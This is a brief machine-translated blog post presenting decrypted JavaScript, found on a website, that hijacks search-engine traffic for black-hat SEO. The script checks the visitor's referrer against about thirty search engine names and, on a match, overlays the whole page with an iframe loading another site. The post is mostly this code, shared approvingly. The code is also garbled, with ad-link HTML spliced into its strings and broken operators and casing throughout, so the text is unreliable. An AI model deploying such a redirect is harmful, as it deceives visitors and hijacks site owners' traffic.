Today, when browsing the Web site inadvertently found this section of JS hijacked search engine code. Hijacked search engine normal search over the flow, this is the Black Hat seo commonly used hijacking method. Deliberately decrypted out for everyone to understand the principle of its hijacking.
Source Printing Help
<script language= "<span id=" 0_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "0_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=javascript& Kdi0=0&luki=8&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid= b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3a%2f% 2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "target=" _blank "mpid= "0" style= "text-decoration:none;" ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >javascript</span></a></span> "> var _$ = [" Google "," AOL "," Yahoo "," Bing "," MSN "," HotBot "," Go "," SearchEngine "," AltaVista "," goto "," Excite "," Slider "," Musicsearch "," Lycos "," Look<span id= "1_nwp" style= " Width:auto; Height:aUTO; Float:none; " ><a id= "1_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=smart&k0=smart&kdi0=0& luki=3&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337& ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3a%2f%2fwww%2e5ixuexiwang% 2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "target=" _blank "mpid=" 1 "style=" Text-decoration:none; " ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >smart</span></a></span> "," Netscape "," Search "," ask "," Mahalo "," Dogpile "," S-r "," WebCrawler " , "Yandex", "Splut", "Fireball", "WLW", "Suche", "Godado", "Tiscali", "Iltrovatore", "Abacho," "<div <span id=" 2_nwp "Style=" Width:auto; Height:auto; Float:none; " ><a id= "2_NWL" href= "HTTP://CPRO.BAIDU.COM/CPro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk= 3703a16fbcaecbb6&k=style&k0=style&kdi0=0&luki=6&n=10&p=baidu&q=77031027_cpr&rb =0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074 &tu=u2268074&u=http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065% 2ehtml&urlid=0 "target=" _blank "mpid=" 2 "style=" Text-decoration:none; ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >style</span></a></span>=\ "Z-index:10043;background-color: #ffffff; right:0px;position: Absolute;tex-align:center;width:100%;height:100%;top:0px;left:0px;\ "><iframe id=\" rf\ scrolling=\ "no\" Frameborder=\ "0\" style=\ "Width:100%;height:2043px;display:<span id=" 3_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "3_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?"Adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6 &k=block&k0=block&kdi0=0&luki=5&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1& seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074 &u=http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 " target= "_blank" mpid= "3" style= "Text-decoration:none;" ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >block</span></a></span>;visibility:visible;\ "<span id=" 4_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "4_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=src&k0=src&kdi0=0&luki=4 &n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u= Http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "Target=" _ Blank "mpid=" 4 "style=" Text-decoration:none; ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >src</span></a></span>=\ "http://www.5ixuexiwang.com/\" allowtransparency=\ "true\" ></
Div> "];
var a = window["document" ["referrer"]; if (a["IndexOf"] (_$[0) > 0x0 | | a["INDEXOF"] (_$[1)) > 0x0 | | a["INDEXOF" (_$[2]) > 0x0 | | a["INDEXOF" (_$[3)) &G T 0x0 | | a["IndexOf"] (_$[4]) > 0x0 | | a["IndexOf"] (_$[5]) > 0x0 | | a["IndexOf"] (_$[6]) > 0x0 | | a["IndexOf"] (_$[7]) > 0x0 | | a["IndexOf"] (_$[8]) > 0x0 | | a["IndexOf"] (_$[9]) > 0x0 | | a["IndexOf"] (_$[10]) > 0x0 | | a["IndexOf"] (_$[11]) > 0x0 | | a["IndexOf"] (_$[12]) > 0x0 | | a["IndexOf"] (_$[13]) > 0x0 | | a["IndexOf"] (_$[14]) > 0x0 || a["IndexOf"] (_$[15]) > 0x0 | | a["IndexOf"] (_$[16]) > 0x0 | | a["IndexOf"] (_$[17]) > 0x0 | | a["IndexOf"] (_$[18]) > 0x0 | | a["IndexOf"] (_$[19]) > 0x0 | | a["IndexOf"] (_$[20]) > 0x0 | | a["IndexOf"] (_$[21]) > 0x0 | | a["IndexOf"] (_$[22]) > 0x0 | | a["IndexOf"] (_$[23]) > 0x0 | | a["IndexOf"] (_$[24]) > 0x0 | | a["IndexOf"] (_$[25]) > 0x0 | | a["IndexOf"] (_$[26]) > 0x0 | | a["IndexOf"] (_$[27]) > 0x0 | | a["IndexOf"] (_$[28]) > 0x0 | | a["IndexOf"] (_$[29]) > 0x0 | |
a["IndexOf"] (_$[30]) > 0x0) {window["document"] ["Writeln"] (_$[31])} </SCRIPT>
The above content is to share the Black hat SEO hijacking procedures, JS hijacked search engine code, I hope you like.